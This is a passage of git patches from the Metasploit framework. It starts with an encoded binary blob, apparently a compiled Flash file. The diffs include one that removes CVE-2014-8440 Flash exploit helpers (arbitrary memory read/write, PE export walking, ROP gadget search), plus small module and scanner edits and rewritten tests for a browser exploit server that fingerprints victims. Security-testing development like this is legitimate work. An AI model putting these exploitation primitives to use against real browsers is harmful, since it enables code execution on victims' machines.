z1V}%XfBiT#i=Bl;c9s8Fb)Y_7u-;-XkP*Tt*%z7O>(^!mYcx09m<}XHUa@GJk6|}r z=;#}bhH@_7@5K0f`wc}R2CUSAz)V_MaD`Tlc zBMP(Wy*C9LXO;ERAB9qtWY1TqX|m0)6ou62f1Q$tmc#=a(jdyOf_DRqtswy9-_7us z2X+af68L8gM0JK1sbc5LQ8%MiRppf|IxW;8Yx()kf;a1_7SDoqa%r)B5#Y92%W2de?PGxzTMjSy37!64q81 z6k+!-Rgbqfx-4~)oOSZOZ9^#yu&I5jJhUSzl0{6HqgfNP$jdLmj|}@u@Xcq(Df)H@ zY1Y$(-gsO>7C%*7jF=+Ioz!F zvX>=cYQfwIPlc~{E`noDEKrem`X{+<3)MhoG^S;}3-4n_ztI5#<%Zgpp|%(p$m~c9 zty*5KDY@U7e+FVf5WD`{Nz*p#ZX|-zD#R{wW}}3+L!2c(8payRhw5LGfAWOVyXv(y z?*snUjmwf)>v}AgPBa7VWgnWO6#}jaT;>-bQ&V^dCp1OfD_u_->rm0hNUoS*j9dd} zKNPktSv(5H56a!YN7#2MZ>SjXbWx0r`oC&RKf8qSv8%XG7)mq++q^HhTgi%zwWVuzSf6_8yOombWWIMR= zcuFJ657LL{`We+;>{Ds9bSkNJcizWGQ0Fu1E%?v=#!4k9j zFra4t)pMQP5 zJ`>j`znnTsD*0B@UF^P;#X?jzG| zf3htNU>DxTS7#*lTH|xB=M3Q9O~=X~^IbhTxycKxQEnqLq}!r<$$6Qk6poq=_+7~_ zw+K1};W`ddQF(zG^TGN+ImT1Zuy&7V^U=Elhq~E0yE^QuYm@hQTe5#$^k7o$)=z7L zL>WG^*DNT` z+z-rOXG=3N-sz$)^o`grl@RIjt>u6&Ybdoku|Xoozzrud>Du_m=rSYHapmoQp!fW0 z9>uw+lNHdg{xIq)u1Us|?rLqX%5$7scvJA7JH-t=E9 z{euedx|2Vf5wX>kPN9K&7zG(2e{0nl^`up8#4;Teb(Q~5AQ;dxqUAORx2W=F5XC|g zE;5b>UygBCfU(%IJ8b(JWhi1V8i-+c5wii2=5NWz5U^~R%-7>Mi^1>C9LY>lL7xPX zp}{5XN`Bg$n6M#OLChkVqAKB#z%)zyE|mMNRh@`!=(G#!+&B_y;GlU{><7PwdRXIJm6j zdD2X9A$%4(t8PN3+D2iNeRgM6&!@)#&V~4_m@Eu8dag%J_ey0ce=e5eM_|@s4P=p@krtoABf3IHOR{duZ?3 z5Q^7LX;ZSs&yN0Me^P=TD-k1tb_dL! zlQ|?T>h2zbGu^s*>XsW_bC@A4Tle^Psvdn{+pIj^DQM}4%o&*&YAnFiFPiA3i0%L8 zJq$LS4ex*$aZ{=^+Ac75A|!y zR*k~)o$b>Itgq==f8nmKGgzbt5Ov{DDaCwZWLgK3CDzuVu)TLi)YS`L?b@|81{G9G z@hm$e0twpTqt@xuT;N0K+xB`!nQqPSt2pRf8*;B=rjjwn0s5olF_#vq=WzX|Ow(!)`0P0uJ@D<)Rxk_T=51ZYu??k-nSC*x zOU0}BK`jnqn%pel)}C=1CX*^ zSLAbhSY1y=z_4S?wP@>gvi^eQzC|WwI4kB4Hi1?=UXv?;Gg~0KJDS;z6mW6 z5Ys?u1~M2wV-!-7Y6?Ld?d-{>J3^_iJlfvb{*b#=bVSnyX2J351v;yO-CdOavAtWi z${I1B2fT{SjDMe1L2J6723yls`G4MbnW5eGi#W7#gF z3en72i>J;>o@n%Pk8C%}=b}D-g^C=jsSzu5-wN%+TGafzJyn!P**!wTOxM{qR%(`C z@H9w7%@s74BywE{QQ_Cv%{}9_*Lu=!47nhV5|^Sp zNkecb3x86CJK@&bC4f2{|7Clsfrpo4px0aR?42*;{mp#amqAMZzEMbs6PY8`>?%R- zJ|iQj#20AMqdK;qo({ucMXBrOH&lpm!mLcbnktsT5v7M)?168xCw#w833wrhRyfM3 z-^Zw02zWFWtOLdCj4Ef9y1A_3fPhPP%JkV0>wog>;t#2d2r5WlyvB0&4>?6`Q}v-t zasu67z}CbOwX;nq)4Kj|72h=OwHZ>WUtf6=^T8@;8=GTM9;TL9`hTxsV`e(ZlRu)24XgQtg=iH9fLh)ztjN4E zO(&SlRGqZ7GeeH&h~@br*OTmHg@Nr_%nj@#=sTJ5MwA7bH)MsiVm`vT zG)gS|^}FUUf`GqGDKPDPQCJ@KHxx?3q`KM!v*0+BF zuaeZDzbLMFcEG&X^YVqPbk18Ve1Gxb zby8GM_Nd$+2`v|HZIgC?3T58U9D0Ja0aJwkz&uviD7^P)ZmO316&!e$N_RBTOu>Zn zG=7tliJ$pT$6D|wxq1hs#1c6%I0qqaVDeagCB29=CUPB69R)QW`TKp z(bIBb)D=tNdaR8|HhpcZDSwb=^=Jxwn#fAztA!rtUaOqzPf7Wa*~94+s5Dq6NRs3g~K7 z!he7z3TD3-&wM-piQ6{xWIK2szy-LM_R_! zY!T4QxdLgr^F;K3d#fudiiM4|te9oq{NBZSWX12vVGZfTn$7A_TVqvze0!tFQ|!m_ z=m9E+)FPBjsAJ6Mi+_+m*Dx;h_DRm=;5byJIZ5!CUx~}>g0V?XlB~q*{j{o!($c;W zC$|3)c|YT0ZZl|v!AGL9I9>vKe~_CFxmrab7?6vj#PA%0+nJNx*c(p%#2T+uGI3G8 zPo^^oh3LU(E*`9j9N?1(COG!L`1^7I{S9ZlU-X*hHh#>zy??2#J+|Lq4Omd)*P6&U zJ{4~7v=>P*Ej)+N`+X_#=8vK2He^OWHi0}*nQ`7XuR#P9Ly z=JLrxOXkRUWjYFd#Q`}jc@IYxow=nd&@g&P$W1pKiX1|9|uzCC^?X%(2P0BZpSl+XGzteCk8}&>1~<-y$g4Q zaj_bU>j)ciDN|o=6WjIV8y}u3l0wKU#}5zh2Ao8gf`2>;3Pn&tx?uz`ev1~nPwaNK zk|cVQV(O6#2hRQ$>h zA|L`~mZ(?GFyjehxf8CTfrBXuWRefAHv6RKJ)hWOPZzo9bBeEtd4kx&xsSc&$9y;zo0aGHX&%h2ceFyl-{MJ zQ2sn%7l?Vv9R^6u0S1>$CDA%ui*v)>b_nTTGQ(VWu(ca*-WcseNXe7HipLu` zcl-uA5T%9{;V9&UqqaatEx1xjJ%AgMA#A;Sc7Ng1yY&Ut7QFu5#0(?V-3_$u5Qi>AA|Dv=k)03cVKWJTk=ecR%GS9o@jg zcNAT9=-b>FVSg6=BporVY^Y(C=PwUxZ(fm@!Mid~ofz$Rrc-;C5JsL07s()oX+axL zX@6T4!51ATPcY+wOJsWF5d`V5Gq^!Y<1*O^j2}L8A9p%9G$L8pfJ{f)Ma%<`c2RvqZ-a+13fyay9Nb^V^MNLMDpI{-~ps$xp7%mYzB|iFm2n63w80Lm@T6J)-HGArlh<42^Z$+Je zR6>;~UM5b0M@yf3^{!NN!7JgH9Peo{#690F90VX|R=?Yk;sYFkHRZ&@7{r4SN`K$8 z`YRKmx@o(^0uX7#TgU|;;utCSViMp11k_1 z`KiTi)rCnMUnDjc-?ADE1QymB&9~~dxY|Z^QO79J6f5MKcH{+WVvW;)s?IHIIP3!Bw6NIKuzxSkg zfFr}V3z(BLZ0R~uTg9{@N^SA;G{=)`tMnqQ4vHk`a6X3my5>IF^U|<>&VM=|mg0G* z#t_$-O3*9C%Ul~7`?mQ;vKzLKFPqm%w~;pW|FgK3*Qecl7GtKQeky{#iM+oGL(-{d z#vL%TTAX;NYS>7y$?tLPAnUCubTBrZLnzJ7S?7F-oRZ?y;sE)0V=aN^M1)}}>@K@0*lsAysRlgA#O! zuk*?t^GHOG06WG38|9rC$C(%<4r~WO-#ubTe34oh-r(=9W4rT;qA>yTfdRx1!BIb# z+#z6A%5kCW&XfLLe6f$or2#9Tj;pSVZK|Hg`plc#yHob`XmeDs4u2zk*i)FqrC%HY zda~|>a zausS~WbUm`gv8AC9C{>34=iz8BuavG-x5SI+k0j+W`O2GS5A%QlanJa?p@6<$r+^C z?W(~DUow8Yt&pgpNPlBf;DiIKlgG7-oyGBN$KPQR6F}iO0%UKW9R~B@36g1z=rPz6bZh>TX29zpsPA)`CU(Te&sfyea zVZ`&}G&-dzRChfi1(J0nUN2CH?Bb`dRX1@=XZw2XOV~@TqkjqoIf6dvGqDi=H9%9~ zKB=-qg9&HdxzS&Tyz~pxq~=dAy}o7i7qp`%QYQu(*Sopc>CZv1qG&Ll%Oqxh8CE#F z^)!`ZXC2LWGsh1QrkZoRw#PlC8vkbJ9Lekxuy_ukb?#$i_&gPF)ehGG$#|}4kw^k@ zkWGOGmrKxkf`3XRGAqnS88Q^j)f!Z?XJ*#2^-~cjljTp^C-(R+)vcIRAzp*Z{sJEP zfTa{izz%Y-j@ojPh)Nh4wMSaW z*G1)AhfZxWb5|}_FJ~R1@cho}E*dhxE0r^dHs>OdhJT~ex@TzZ>|)NXcOoa57NLnc zuput~N3((9$2g6hE_c&UoNdNb~O_1eYQ3$y^BJz-2F}P^2WpmTM+iD1J zsFM;G6;vneZU43Xf0>F7B~Tq2$$%>ThkUK~`V!(paV2flY^2CnVGD5We(9$(0^BzU zBI#e8Wq-mW9u*;rqlLYvpu?A`L|T}9!+5sIKc~qoVfM(4-nL8BiJ?R8gr^~)2cvNA z_DoRw9xVW%REki?=X8cild_jG#JX&-P?WbYJ!TQHl>J3unUd_(@$tCF$E;Ij)gUjW zO0e^p5hSnjLJu{g1J4!h{%Xq!yhwK-avQcnmw%ABKfdH!XBfTsQF(LdCJ+BAj2SIS^FE`!>S$k;F2M0Qogs)qX$^!IP@j4c! z&*gnc5wIC6iEylV!jIcOW5(7F4wsuHbi6>4(kqtTgz1CkJXb;;aI08OE)N%0*1s>w z$bZwql{fWsiO|ajIym995x+KbsL4lM@Wd9myWIr0I0v}d)X?jkFrY)|p>7bm=bv;Q z+m9u!PHbYWC>(e%>NyC=AVX<+u1^9i;VQ@>+kEQ?1iB9eljh*Cv^FyKDfxkxPgb*I(y0RrXtEPvJ;=Y^t2rN9bcvr3>a7>KWNO8~K-`k>2;{^N_`0Rg_L;;A4R*Y&S&i{31NnHbz&vgDd*lzd1=o-7lFmQ?T? z5}QJoeRbs%!%@CHCo|3TD$QL)aDP^+@Q7NiGsw`BsB4pv0Fm6TetMzn$P4jR@(N$N zi@yU}=-|=VNk9Lj=2=hZmieElE)Tg)d~?A{bWK`f-}xmm1(W5=!1?YwbI6>9$$=rj zaom@d4TFe|^*tJI!b=aKfVUL;0ak%JfF8t6eJD?EnFLq-&+9mm*3*3S7Kw&2W;qMdh0nyC6(-J17e$vR736icW^zeR|%7v`Ahl#3~h1zYM)etScd2l@gq>bLd6ScW?;h3{(C;Db2e@ zP$7!rN#MZkC)*A?i9CnTP9N$Nps8v3%zo$SdRj*M1De2uYo9zva(|9udQL7A*QIE; zivb>uFPtWj$%EngUw=7Xpdk563F&9=z|b94WL5jWlh8?0{~KmG2%wzv=*I@pi0ZPf zY7xHSMTLf+JX|*Ocn#(1u%Y+1;Pl?Sb<59+ZDYWsi|Njyy;T|b%qNm6|NJ#4!W@%O zg?zeG^dQAeX`YS`;(y!PYF5YDu!WelvRt%NQ#UWqmhSyz>E6xFai9R)+GFqvZ>X_R zEmMf5ktfZr6q~d;;pxFaIrpI$wxs@xa5@`LgEqww`+4zzXEFG&*NHE-8>4ZU4SLC2 z8Gqvatd3<`rZ{XInZvItcXFV%YpXKsOla8Fy+43+j^qPSI)6b_3|ZPde<^ivFRl3z z>x|rYED1Fmmr&)^FS2Rx_BxDXuk8{d2&fJ1&^Y)6un3oc6hpHg)TBCITY=Z;y$;}7 zDC#vpASxHP0M+@PcW}#g&8Zm}I}ZwUZ@K~-loff?N^}9AGPj-g`_nZ6PDr$bd62yI zsOw1VcKukhdw;n*DUr>A2RzPia*5|;q@HHY&{UF*)B=$1^gG%s@ekjov5;Ia;=vv& z1D#t}A6qkJmDlZoDPAoqrR_EbJY(-*O?AXGU#&XGu{`NFg3L!JU@S&N9Ns3{xOl?H zOhbutIQ{Lag=H{CyDvgS%OXK6I{#ICcO;HvOEa00pd}5;2HmrR2l_3107lZV=HLrH W<4N#Am56si%aWGX9smDR9?SrnU@0*G diff --git a/external/source/exploits/CVE-2014-8440/Exploit.as b/external/source/exploits/CVE-2014-8440/Exploit.as index da8d636a59..c6e0928bd9 100755 --- a/external/source/exploits/CVE-2014-8440/Exploit.as +++ b/external/source/exploits/CVE-2014-8440/Exploit.as @@ -277,144 +277,5 @@ package } return 0xffffffff } - - // Use the corrupted shared_ba to disclose its own address - private function search_ba_address():uint { - var address:uint = 0 - this.shared_ba.position = 0x14 - address = shared_ba.readUnsignedInt() - if (address == 0) { - address = 0xffffffff - this.shared_ba.position = 8 - var next:uint = shared_ba.readUnsignedInt() - var prior:uint = shared_ba.readUnsignedInt() - if (next - prior == 0x8000) { - address = prior + 0x4000 - } - } else { - address = address - 0x30 - } - - return address - } - - // Use the corrupted uint vector to search an vector with - // interesting objects for info leaking - private function search_object_vector():uint { - var i:uint = 0; - while (i < 0x4000){ - if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - this.uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - return this.uv[pos] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } } } diff --git a/external/source/exploits/CVE-2014-8440/Logger.as b/external/source/exploits/CVE-2014-8440/Logger.as index 61ec768c25..16c0447973 100755 --- a/external/source/exploits/CVE-2014-8440/Logger.as +++ b/external/source/exploits/CVE-2014-8440/Logger.as @@ -3,7 +3,7 @@ package import flash.external.ExternalInterface public class Logger { - private static const DEBUG:uint = 1 + private static const DEBUG:uint = 0 public static function alert(msg:String):void { diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb index 1847fc43ab..b4fa07267a 100644 --- a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb +++ b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer From 7c91aee7a80f5d9297f9778e866c32a88c30aa84 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 9 Jun 2015 20:33:46 -0500 Subject: [PATCH 0372/1013] Dont use a "connected" to keep compat with BSD --- lib/metasploit/framework/login_scanner/snmp.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index afeb5267de..9d17b75e0b 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -320,8 +320,6 @@ module Metasploit def configure_socket shutdown_socket if self.sock self.sock = ::Rex::Socket::Udp.create( - 'PeerHost' => self.host, - 'PeerPort' => self.port, 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } ) From ed69e5f90273769c2b6bc0a614887085425cbbc5 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 9 Jun 2015 23:45:41 -0500 Subject: [PATCH 0373/1013] Redo BES rspec --- .../remote/browser_exploit_server_spec.rb | 437 +++++++++--------- 1 file changed, 209 insertions(+), 228 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 7c36728eed..74a3620147 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -1,53 +1,84 @@ -require 'spec_helper' +#require 'spec_helper' require 'msf/core' describe Msf::Exploit::Remote::BrowserExploitServer do + # When unpacked, this gives us: + # { + # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => + # { + # "source" => "script", + # "os_name" => "Windows 8.1", + # "os_vendor" => "undefined", + # "os_device" => "undefined", + # "ua_name" => "Firefox", + # "ua_ver" => "35.0", + # "arch" => "x86", + # "java" => "1.7", + # "silverlight" => "false", + # "flash" => "14.0", + # "vuln_test" => "true", + # "proxy" => false, + # "language" => "en-US,en;q=0.5", + # "tried" => true, + # "activex" => [{"clsid"=>"{D27CDB6E-AE6D-11cf-96B8-444553540000}", "method"=>"LoadMovie"}] + # }} + let(:first_packed_profile) do + "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8F\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3\xA7activex\x91\x82\xA5clsid\xD9&{D27CDB6E-AE6D-11cf-96B8-444553540000}\xA6method\xA9LoadMovie" + end + + let(:default_note_type_prefix) do + MessagePack.unpack(first_packed_profile).keys.first.split('.')[0,3] * "." + end + + let(:first_profile_tag) do + MessagePack.unpack(first_packed_profile).keys.first.split('.')[3] + end + + let(:first_profile_info) do + MessagePack.unpack(first_packed_profile).values.first + end + + let(:cli) do + sock = Rex::Socket::Tcp + allow(sock).to receive(:peerhost).and_return('0.0.0.0') + allow(sock).to receive(:peerport).and_return(4444) + sock + end + + def create_fake_note(tag, data) + note = double('note') + allow(note).to receive(:ntype).and_return(tag) + allow(note).to receive(:data).and_return(data) + + note + end + + + before(:each) do + allow_any_instance_of(described_class).to receive(:vprint_status) + @notes = [create_fake_note(first_profile_tag, first_packed_profile)] + end + subject(:server) do mod = Msf::Exploit::Remote.allocate mod.extend described_class - mod.send(:initialize, {}) + mod.send(:initialize) + mod.send(:datastore=, {'NoteTypePrefix' => default_note_type_prefix}) mod end let(:service_double) do service = double('service') - service.stub(:server_name=) - service.stub(:add_resource) + allow(service).to receive(:server_name=) + allow(service).to receive(:add_resource) service end - let(:expected_user_agent) do - 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' - end - - let(:profile_name) do - 'random' - end - - let(:expected_os_name) do - 'linux' - end - let(:exploit_page) do server.instance_variable_get(:@exploit_receiver_page) end - let(:expected_profile) do - { - :source =>'script', - :os_name =>'Windows XP', - :ua_name =>'MSIE', - :ua_ver =>'8.0', - :arch =>'x86', - :office =>'null', - :activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ], - :proxy => false, - :language => 'en-us', - :tried => true - } - end - before do Rex::ServiceManager.stub(:start => service_double) end @@ -58,7 +89,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do it_should_behave_like 'Msf::Exploit::JSObfu' - describe "#get_module_resource" do + + describe '#get_module_resource' do it "should give me a URI to access the exploit page" do module_resource = server.get_module_resource expect(module_resource).to include(exploit_page) @@ -67,127 +99,68 @@ describe Msf::Exploit::Remote::BrowserExploitServer do describe '#has_bad_activex?' do context 'when there is a bad activex' do - let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" } + let(:js_ax_value) { "#{first_profile_info['activex'][0][:clsid]}=>#{first_profile_info['activex'][0][:method]}=>false" } it 'returns false' do expect(server.has_bad_activex?(js_ax_value)).to be_truthy end end context 'when there is no bad activex' do - let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" } + let(:js_ax_value) { "#{first_profile_info['activex'][0][:clsid]}=>#{first_profile_info['activex'][0][:method]}=>true" } it 'returns true' do expect(server.has_bad_activex?(js_ax_value)).to be_falsey end end end - describe "#get_bad_requirements" do - let(:rejected_requirements) do - server.get_bad_requirements(fake_profile) + describe '#get_bad_requirements' do + let(:this_profile) do + MessagePack.unpack(first_packed_profile) end - context 'when given the expected profile' do - it "should not contain any bad requirements" do - expect(server.get_bad_requirements(expected_profile)).to eq([]) + let(:requirements) { {} } + + before(:each) do + r = server.instance_variable_get(:@requirements) + requirements.each_pair do |key, value| + r[key] = value + end + + server.instance_variable_set(:@requirements, r) + end + + context 'when all requirements are met' do + let(:requirements) { first_profile_info } + it 'returns an empty bad requirement array' do + expect(server.get_bad_requirements(this_profile)).to be_empty end end - context 'when attempting to match :os_name' do - let(:fake_profile) do - { :os_name => expected_os_name } - end - - before do - server.instance_variable_set(:@requirements, {:os_name => /win/i}) - end - - it "identifies :os_name as a requirement not met" do - expect(rejected_requirements).to eq([:os_name]) + context 'when the os_name requirement is not met' do + let(:requirements) { {'os_name'=>'Linux'} } + it 'returns os_name in the array as a bad requirement' do + expect(server.get_bad_requirements(this_profile)).to eq(['os_name']) end end - context 'when attempting to match :ua_ver' do - context 'against version 25.0' do - let(:expected_ua_ver) { '25.0' } - let(:fake_profile) do - { :ua_ver => expected_ua_ver } - end - - before do - server.instance_variable_set(:@requirements, {:ua_ver => ua_ver}) - end - - context "with the regex /26\.0$/" do - let(:ua_ver) { /26\.0$/ } - it "should reject :ua_ver" do - expect(rejected_requirements).to include(:ua_ver) - end - end - - context "with the regex /25\.0$/" do - let(:ua_ver) { /25\.0$/ } - it "should accept :ua_ver" do - expect(rejected_requirements).not_to include(:ua_ver) - end - end - - context "with a Proc that checks if version is between 1-5" do - let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } } - it "should reject :ua_ver" do - expect(rejected_requirements).to include(:ua_ver) - end - end - - context "with a Proc that checks if version is between 20-26" do - let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } } - it "should accept :ua_ver" do - expect(rejected_requirements).not_to include(:ua_ver) - end - end + context 'when a Linux regex cannot match a Winodws os_name' do + let(:requirements) { {'os_name'=>/Linux/} } + it 'returns os_name in the array as a bad requirement' do + expect(server.get_bad_requirements(this_profile)).to eq(['os_name']) end end end - describe "#init_profile" do - it "should initialize an empety profile for tag 'random'" do - server.init_profile(profile_name) - ivar_target_profile = server.instance_variable_get(:@target_profiles) - expect(ivar_target_profile).to eq({profile_name=>{}}) - end - end - - describe "#get_profile" do - it "should return nil when a profile isn't found" do - server.init_profile(profile_name) - p = server.get_profile("non_existent_profile") - expect(p).to be_nil - end - - it "returns a profile if found" do - server.init_profile(profile_name) - p = server.get_profile(profile_name) - expect(p).to eq({}) - end - end - - describe "#update_profile" do - it "updates my target profile's :os_name information" do - server.init_profile(profile_name) - profile = server.get_profile(profile_name) - server.update_profile(profile, :os_name, expected_os_name) - profile = server.get_profile(profile_name) - expect(profile[:os_name]).to eq(expected_os_name) - end - end - - describe "#get_detection_html" do + describe '#get_detection_html' do it "returns the detection code that the client will get" do + expected_user_agent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' html = server.get_detection_html(expected_user_agent) expect(html).not_to eq('') end end - describe "#on_request_exploit" do + + describe '#on_request_exploit' do it "raises a NoMethodError if called" do fake_cli = nil fake_request = nil @@ -198,130 +171,148 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe "#get_target" do + describe '#get_target' do it "returns a target" do - # - # Using Object for Msf::Module::Target - # - expected_object = Object + expected_object = double('Msf::Module::Target') server.instance_variable_set(:@target, expected_object) server.get_target.should eq(expected_object) end end - describe "#try_set_target" do - it "Sets a target based on requirements" do - # - # This testcase needs to be better somehow, but not sure how to actually create - # a Msf::Module::Target. All we're able to test here is making sure the method - # doesn't raise anything by exercising the code. - # - server.instance_variable_set(:@requirements, {:os_name => /win/i}) - server.instance_variable_set(:@target, Object) - server.try_set_target(expected_profile) - server.get_target.should eq(Object) + describe '#try_set_target' do + let(:fake_targets) do + target = double('Msf::Module::Target') + allow(target).to receive(:opts) { first_profile_info } + [target] + end + + before(:each) do + allow_any_instance_of(described_class).to receive(:targets) { fake_targets } + end + + context 'when requirements match a target' do + it 'sets @target' do + expect(server.get_target).to be_nil + server.try_set_target(MessagePack.unpack(first_packed_profile)) + expect(server.get_target).to eq(fake_targets.first) + end end end - describe "#extract_requirements" do - it "finds all the recognizable keys" do - requirements = {:os_name=>"Windows XP", :ua_name=>"MSIE", :ua_ver=>"8.0"} - matches = server.extract_requirements(requirements) - expect(matches).to eq(requirements) + describe 'extract_requirements' do + context 'when a recognizable requirement is given' do + it 'returns a hash that contains the recognizable requirement' do + expected_hash = {'os_name'=>'Linux'} + expect(server.extract_requirements(expected_hash)).to eq(expected_hash) + end end - it "makes sure the keys are always symbols" do - requirements = {'os_name'=>"Windows XP", 'ua_name'=>"MSIE"} - matches = server.extract_requirements(requirements) - matches.each do |k,v| - expect(k.class).to eq(Symbol) + context 'when a unrecognizable requirement is given' do + it 'returns a hash that does not have the unrecognizable requirement' do + bad_hash = {'UNKNOWN_KEY'=>'VALUE'} + expect(server.extract_requirements(bad_hash)).to be_empty + end + end + end + + describe '#retrieve_tag' do + context 'when the browser has a cookie that contains our tag' do + let(:tag) do + 'tag' + end + + let(:cookie) do + "__ua=#{tag};" + end + + let(:cli_request) do + req = Rex::Proto::Http::Request.new + req.headers['Cookie'] = cookie + req + end + + it 'returns the tag from the cookie' do + expect(server.retrieve_tag(cli, cli_request)).to eq(tag) + end + end + + context 'when the browser does not have a tag' do + + let(:cli_request) do + Rex::Proto::Http::Request.new + end + + it 'returns a new one in MD5' do + expect(server.retrieve_tag(cli, cli_request)).to match(/^[0-9a-f]{32}$/) end end end describe '#on_request_uri' do - let(:cli) { double(:peerhost => '0.0.0.0') } - let(:cookie) { '' } - let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} } - let(:body) { '' } - let(:cookie_name) { Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME } - let(:request) do - double(:body => body, :headers => headers, :uri => server.get_resource ) + before(:each) do + allow(server).to receive(:get_profile_info) { MessagePack.unpack(first_packed_profile) } + allow(server).to receive(:init_profile).with(kind_of(String)) + allow(server).to receive(:update_profile) + allow(server).to receive(:process_browser_info) + allow(server).to receive(:send_response) { @send_response_called = true } + allow(server).to receive(:send_redirect) { @send_redirect_called = true } + allow(server).to receive(:send_not_found) { @send_not_found_called = true} + allow(server).to receive(:on_request_exploit) { @on_request_exploit_called = true } + allow(server).to receive(:on_request_exploit) { @on_request_exploit_called = true } end - before do - server.stub(:send_redirect) - server.stub(:send_response) - server.stub(:send_not_found) + after(:each) do + @send_response_called = false + @send_redirect_called = false + @on_request_exploit_called = false + @send_not_found_called = false + @on_request_exploit_called = false end - context 'when a new visitor requests the exploit' do - before { JSObfu.disabled = true } - after { JSObfu.disabled = false } - - it 'calls send_response once' do - server.should_receive(:send_response).once - server.on_request_uri(cli, request) - end - - it 'serves the os.js detection script' do - server.should_receive(:send_response) do |cli, html, headers| - expect(html).to include('os_detect') - end - server.on_request_uri(cli, request) + context 'when / is requested' do + it 'sends the information gathering page' do + cli_request = Rex::Proto::Http::Request.new + server.on_request_uri(cli, cli_request) + expect(@send_redirect_called).to be_truthy end end - context 'when a returning visitor requests the exploit' do - let(:body) { '' } - let(:tag) { 'joe' } - let(:cookie) { "#{cookie_name}=#{tag}" } - - before { server.init_profile(tag) } - - it 'calls send_redirect once' do - server.should_receive(:send_redirect).once - 